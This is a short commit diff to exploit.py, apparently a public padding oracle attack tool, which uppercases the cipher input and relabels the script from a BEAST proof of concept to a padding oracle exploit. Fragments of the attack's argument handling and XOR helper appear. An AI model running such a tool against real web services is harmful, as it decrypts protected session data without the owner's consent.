Add upper() to cipher

Author: mpgn

exploit.py

@@ -70,6 +70,7 @@ def hex_xor(s1,s2):
     return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))
 
 def run(cipher,size_block,host,url,cookie,method,post,iv,error):
+    cipher       = cipher.upper()
     found        = False
     valide_value = []
     result       = []
@@ -146,7 +147,7 @@ def run(cipher,size_block,host,url,cookie,method,post,iv,error):
 
 if __name__ == '__main__':                           
 
-    parser = argparse.ArgumentParser(description='Poc of BEAST attack')
+    parser = argparse.ArgumentParser(description='Exploit of Padding Oracle Attack')
     parser.add_argument('-c', "--cipher",               required=True,              help='cipher you want to decrypt')
     parser.add_argument('-l', '--length_block_cipher',  required=True, type=int,    help='lenght of a block cipher: 8,16')
     parser.add_argument("--host",                       required=True,              help='url example: /page=')